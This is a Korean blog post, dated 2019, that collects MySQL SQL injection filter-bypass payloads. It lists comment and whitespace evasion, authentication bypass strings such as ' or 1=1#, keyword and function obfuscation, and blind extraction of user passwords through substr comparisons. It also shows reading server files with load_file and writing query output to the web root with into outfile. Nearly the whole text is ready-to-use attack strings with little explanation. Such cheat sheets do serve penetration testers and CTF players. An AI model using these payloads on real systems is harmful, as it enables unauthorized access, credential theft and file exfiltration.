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2019.07.10 23:27

SQL Injection 우회 정리

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   SQL Injection 우회 정리


   기본적인 우회

1. 주석
‘ or 1=1#
‘ or 1=1? ?
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or? -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

2. 접두사
+ ? ~ !
‘ or ?+2=- -!!!’2

3. 연산자
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

4. 공백
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“?%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

5. 쿼터있는 문자열
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61’

6. 쿼터 없는 문자열
‘abc’ = 0x616263

7. alias
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

8. 형변환
‘ or true = ‘1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ‘1 # or true

9. 연산자 비교 형변환
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

10. 인증 우회 ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

11. 인증 우회 ‘-‘
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users


   함수 우회

1. 일반적인 함수 필터링
ascii (97)
load_file/*foo*/(0x616263)

2. 문자열 함수 필터링
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

3. 문자열 추출
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

4. 특수 문자 추출
aes_encrypt(1,12) // 4ch±{?”^c×HeEEa
des_encrypt(1,2) // ?GO/iOk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

5. 정수 표현
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

6. 문자열 하나씩 추출
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

7. 문자열 검색
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index(‘ab’,’b’,1)

8. 문자열 자르기
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

9. 문자열 비교
strcmp(‘a’,’a’)
mod(‘a’,’a’)
find_in_set(‘a’,’a’)
field(‘a’,’a’)
count(concat(‘a’,’a’))

10. 문자열 길이
length()
bit_length()
char_length()
octet_length()
bit_count()

11. 문자열 케이스
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)


   키워드 우회

1. 연결 키워드 필터링

(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0’union all select all`table_name`foo from`information_schema`. `tables`

2. OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-‘

3. OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

4. OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

5. OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

6. OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a’))

7. OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

8. OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

9. OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

10. Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’=’a’ then 1 [else 0] end
if(‘a’=’a’,1,0)
ifnull(nullif(‘a’,’a’),1)



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